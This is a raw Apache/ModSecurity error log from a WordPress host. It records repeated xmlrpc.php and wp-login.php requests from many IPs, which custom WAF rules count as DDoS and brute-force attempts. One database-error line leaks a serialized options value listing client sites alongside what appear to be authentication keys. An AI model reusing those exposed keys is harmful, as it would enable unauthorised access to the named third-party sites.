[Tue Dec 23 08:17:47.164133 2025] [:error] [pid 49150:tid 49159] [client 203.161.54.74:33214] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnfq0uL91O4jNPzb4HadAAAAMc"]
[Tue Dec 23 08:17:49.768528 2025] [:error] [pid 49062:tid 49133] [client 203.161.54.74:33218] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnfrf_oMXBKdV37va3zGAAAAI4"]
[Tue Dec 23 08:17:52.308347 2025] [:error] [pid 49150:tid 49162] [client 203.161.54.74:46838] [client 203.161.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.161.54.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnfsEuL91O4jNPzb4HaggAAAMo"]
[Tue Dec 23 08:19:04.432881 2025] [:error] [pid 49061:tid 49104] [client 47.122.18.191:57210] [client 47.122.18.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.122.18.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnf-GRtvGWfzuDz6nR26AAAAEw"]
[Tue Dec 23 08:19:06.363978 2025] [:error] [pid 49150:tid 49164] [client 47.86.33.61:60966] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnf-kuL91O4jNPzb4HbAwAAAMw"]
[Tue Dec 23 08:19:08.291470 2025] [:error] [pid 49062:tid 49134] [client 47.86.33.61:60968] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnf_P_oMXBKdV37va3zgwAAAI8"]
[Tue Dec 23 08:19:10.087698 2025] [:error] [pid 49061:tid 49108] [client 47.86.33.61:60980] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUnf_mRtvGWfzuDz6nR29QAAAFA"]
[Tue Dec 23 08:19:20.985741 2025] [:error] [pid 49060:tid 49070] [client 47.122.18.191:47864] [client 47.122.18.191] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.122.18.191, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUngCPvdpPyXg0aYbMWXBQAAAAY"]
[Tue Dec 23 08:20:05.351283 2025] [:error] [pid 49150:tid 49172] [client 34.70.249.97:38748] [client 34.70.249.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.249.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUngNUuL91O4jNPzb4HbTwAAANQ"]
[Tue Dec 23 08:20:07.723638 2025] [:error] [pid 49150:tid 49158] [client 34.70.249.97:38752] [client 34.70.249.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.249.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUngN0uL91O4jNPzb4HbVwAAAMY"]
[Tue Dec 23 08:20:09.830204 2025] [:error] [pid 49061:tid 49115] [client 34.70.249.97:38950] [client 34.70.249.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.249.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUngOWRtvGWfzuDz6nR3OQAAAFc"]
[Tue Dec 23 08:33:45.819566 2025] [:error] [pid 49150:tid 49156] [client 162.241.252.188:11458] [client 162.241.252.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.252.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnjaUuL91O4jNPzb4HlzgAAAMQ"]
[Tue Dec 23 08:33:47.825254 2025] [:error] [pid 49150:tid 49153] [client 162.241.252.188:11458] [client 162.241.252.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.252.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUnja0uL91O4jNPzb4Hl0wAAAME"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 10:15:45.765853 2025] [:error] [pid 19535:tid 19546] [client 103.74.116.120:38470] [client 103.74.116.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.116.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn7UYL6JRtAT6bUw7mbdgAAAQk"]
[Tue Dec 23 10:15:48.604797 2025] [:error] [pid 19535:tid 19537] [client 103.74.116.120:38470] [client 103.74.116.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.116.120, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn7VIL6JRtAT6bUw7mbdwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 10:23:43.851040 2025] [:error] [pid 49061:tid 49112] [client 209.74.67.23:46408] [client 209.74.67.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn9L2RtvGWfzuDz6nSXYwAAAFQ"]
[Tue Dec 23 10:23:46.521235 2025] [:error] [pid 49061:tid 49094] [client 209.74.67.23:46408] [client 209.74.67.23] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.74.67.23, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn9MmRtvGWfzuDz6nSXZQAAAEI"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 10:26:04.213153 2025] [:error] [pid 49062:tid 49141] [client 162.0.217.89:52118] [client 162.0.217.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn9vP_oMXBKdV37va0W4wAAAJY"]
[Tue Dec 23 10:26:06.224526 2025] [:error] [pid 49062:tid 49133] [client 162.0.217.89:52118] [client 162.0.217.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.217.89, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn9vv_oMXBKdV37va0W5gAAAI4"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 10:27:18.900962 2025] [:error] [pid 30142:tid 30167] [client 198.38.90.50:55924] [client 198.38.90.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.90.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn-BmJwwguepS_rObnBsAAAAVc"]
[Tue Dec 23 10:27:20.809025 2025] [:error] [pid 30142:tid 30153] [client 198.38.90.50:55924] [client 198.38.90.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.90.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUn-CGJwwguepS_rObnBsgAAAUk"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 10:52:31.048935 2025] [:error] [pid 49061:tid 49107] [client 198.71.52.204:54054] [client 198.71.52.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.71.52.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoD72RtvGWfzuDz6nScnwAAAE8"]
[Tue Dec 23 10:52:33.434213 2025] [:error] [pid 49061:tid 49110] [client 198.71.52.204:54054] [client 198.71.52.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.71.52.204, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoD8WRtvGWfzuDz6nScogAAAFI"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 11:19:43.386069 2025] [:error] [pid 19535:tid 19558] [client 162.241.2.158:22498] [client 162.241.2.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.2.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKT4L6JRtAT6bUw7mr7gAAARU"]
[Tue Dec 23 11:19:45.953213 2025] [:error] [pid 49061:tid 49114] [client 162.241.2.158:22500] [client 162.241.2.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.2.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKUWRtvGWfzuDz6nSipAAAAFY"]
[Tue Dec 23 11:19:48.083014 2025] [:error] [pid 30142:tid 30156] [client 162.241.2.158:22504] [client 162.241.2.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.2.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKVGJwwguepS_rObnXywAAAUw"]
[Tue Dec 23 11:21:37.685819 2025] [:error] [pid 49060:tid 49070] [client 67.205.24.158:59592] [client 67.205.24.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.24.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKwfvdpPyXg0aYbMXNbAAAAAY"]
[Tue Dec 23 11:21:40.515434 2025] [:error] [pid 49062:tid 49134] [client 67.205.24.158:38438] [client 67.205.24.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.24.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKxP_oMXBKdV37va0k9gAAAI8"]
[Tue Dec 23 11:21:41.755310 2025] [:error] [pid 49061:tid 49100] [client 34.70.249.97:52366] [client 34.70.249.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.249.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKxWRtvGWfzuDz6nSjVQAAAEg"]
[Tue Dec 23 11:21:43.797133 2025] [:error] [pid 30142:tid 30147] [client 67.205.24.158:38450] [client 67.205.24.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.205.24.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKx2JwwguepS_rObnZaQAAAUM"]
[Tue Dec 23 11:21:44.354543 2025] [:error] [pid 30142:tid 30156] [client 34.70.249.97:52382] [client 34.70.249.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.249.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKyGJwwguepS_rObnZagAAAUw"]
[Tue Dec 23 11:21:46.447433 2025] [:error] [pid 49060:tid 49076] [client 34.70.249.97:52394] [client 34.70.249.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.70.249.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoKyvvdpPyXg0aYbMXNhQAAAAw"]
[Tue Dec 23 11:22:17.433896 2025] [:error] [pid 19535:tid 19541] [client 163.44.193.130:36148] [client 163.44.193.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.193.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoK6YL6JRtAT6bUw7mtBQAAAQQ"]
[Tue Dec 23 11:22:19.847562 2025] [:error] [pid 49061:tid 49113] [client 163.44.193.130:36314] [client 163.44.193.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.193.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoK62RtvGWfzuDz6nSjcAAAAFU"]
[Tue Dec 23 11:22:22.518732 2025] [:error] [pid 49150:tid 49163] [client 163.44.193.130:36478] [client 163.44.193.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.44.193.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoK7kuL91O4jNPzb4EXvQAAAMs"]
[Tue Dec 23 11:22:40.616168 2025] [:error] [pid 19535:tid 19547] [client 77.92.144.132:42612] [client 77.92.144.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.92.144.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoLAIL6JRtAT6bUw7mtPwAAAQo"]
[Tue Dec 23 11:22:44.542325 2025] [:error] [pid 49060:tid 49064] [client 77.92.144.132:42626] [client 77.92.144.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.92.144.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoLBPvdpPyXg0aYbMXN4AAAAAA"]
[Tue Dec 23 11:22:47.806607 2025] [:error] [pid 30142:tid 30159] [client 77.92.144.132:33234] [client 77.92.144.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.92.144.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUoLB2JwwguepS_rObnaEwAAAU8"]
[Tue Dec 23 11:37:05.535418 2025] [proxy_fcgi:error] [pid 3405:tid 3452] [client 103.4.122.13:46302] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:95:{i:69;a:5:{s:4:\\"name\\";s:18:\\"All Sport Projects\\";s:3:\\"url\\";s:32:\\"https://allsportprojects.com.au/\\";s:7:\\"extauth\\";s:32:\\"aba851f111a530e3b606e4eb9b7b7835\\";s:4:\\"size\\";s:3:\\"989\\";s:13:\\"connect_admin\\";s:3:\\"ACS\\";}i:118;a:5:{s:4:\\"name\\";s:18:\\"arctraining.edu.au\\";s:3:\\"url\\";s:27:\\"https://arctraining.edu.au/\\";s:7:\\"extauth\\";s:32:\\"ad2efe1105abd47f70f42f918f1aab59\\";s:4:\\"size\\";s:5:\\"11498\\";s:13:\\"connect_admin\\";s:3:\\"acs\\";}i:117;a:5:{s:4:\\"name\\";s:20:\\"arcwaycareers.com.au\\";s:3:\\"url\\";s:29:\\"https://arcwaycareers.com.au/\\";s:7:\\"extauth\\";s:32:\\"8ffac0bc83aa755096f729783d4e06f6\\";s:4:\\"size\\";s:4:\\"4359\\";s:13:\\"connect_admin\\";s:3:\\"acs\\";}i:90;a:5:{s:4:\\"name\\";s:17:\\"autoshield.com.au\\";s:3:\\"url\\";s:26:\\"https://autoshield.com.au/\\";s:7:\\"extauth\\";s:32:\\"5429add8be047703e2ba36e70684ab8c\\";s:4:\\"size\\";s:4:\\"2427\\";s:13:\\"co...', referer: https://wpmain.screwlooseit.com.au
[Tue Dec 23 11:49:23.418459 2025] [:error] [pid 3497:tid 3513] [client 94.141.5.251:46500] [client 94.141.5.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.141.5.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoRQ-zUE6hZ8LJecSuJIgAAAM0"]
[Tue Dec 23 11:49:26.128148 2025] [:error] [pid 3497:tid 3511] [client 94.141.5.251:46500] [client 94.141.5.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.141.5.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoRRuzUE6hZ8LJecSuJJgAAAMs"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 11:50:02.656523 2025] [:error] [pid 3497:tid 3504] [client 190.92.174.39:52306] [client 190.92.174.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoRauzUE6hZ8LJecSuJfgAAAMQ"]
[Tue Dec 23 11:50:04.296658 2025] [:error] [pid 3497:tid 3514] [client 190.92.174.39:52306] [client 190.92.174.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoRbOzUE6hZ8LJecSuJjwAAAM4"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 11:51:14.062607 2025] [:error] [pid 3405:tid 3449] [client 190.92.174.39:49946] [client 190.92.174.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoRsrdHHpIDpQ39rwmz_AAAAAw"]
[Tue Dec 23 11:51:15.923763 2025] [:error] [pid 3405:tid 3454] [client 190.92.174.39:49946] [client 190.92.174.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 190.92.174.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoRs7dHHpIDpQ39rwm0AAAAABE"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 11:57:59.433515 2025] [:error] [pid 3497:tid 3518] [client 18.228.69.97:47396] [client 18.228.69.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.228.69.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoTR-zUE6hZ8LJecSuOhwAAANI"]
[Tue Dec 23 11:58:01.752503 2025] [:error] [pid 3497:tid 3510] [client 18.228.69.97:47396] [client 18.228.69.97] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 18.228.69.97, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoTSezUE6hZ8LJecSuOjAAAAMo"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 11:58:03.633390 2025] [:error] [pid 3404:tid 3423] [client 38.246.32.39:55635] [client 38.246.32.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoTS8JGbPWZNlrhVJfTHAAAAc4"]
[Tue Dec 23 11:58:03.634497 2025] [:error] [pid 3404:tid 3426] [client 38.246.32.39:55634] [client 38.246.32.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.246.32.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoTS8JGbPWZNlrhVJfTHQAAAdE"]
[Tue Dec 23 12:31:42.718509 2025] [:error] [pid 3406:tid 3479] [client 72.137.132.54:52272] [client 72.137.132.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.137.132.54, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUobLvn8DLWxW7TPzpFVHQAAAE8"]
[Tue Dec 23 12:31:44.834704 2025] [:error] [pid 3406:tid 3485] [client 72.137.132.54:52272] [client 72.137.132.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 72.137.132.54, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUobMPn8DLWxW7TPzpFVIgAAAFU"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 12:51:24.487694 2025] [:error] [pid 11812:tid 11827] [client 77.222.40.49:55904] [client 77.222.40.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.222.40.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUofzLBkIQ4nTXm4A3WQSgAAAI0"]
[Tue Dec 23 12:51:26.287687 2025] [:error] [pid 11812:tid 11835] [client 77.222.40.49:55904] [client 77.222.40.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.222.40.49, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUofzrBkIQ4nTXm4A3WQSwAAAJU"], referer: https://gigfragments.org/wp-login.php
[Tue Dec 23 13:03:33.638109 2025] [:error] [pid 3406:tid 3480] [client 198.38.90.50:38024] [client 198.38.90.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.90.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoipfn8DLWxW7TPzpFdSAAAAFA"]
[Tue Dec 23 13:03:35.458689 2025] [:error] [pid 3406:tid 3485] [client 198.38.90.50:38024] [client 198.38.90.50] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.38.90.50, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aUoip_n8DLWxW7TPzpFdXQAAAFU"], referer: https://gigfragments.org/wp-login.php
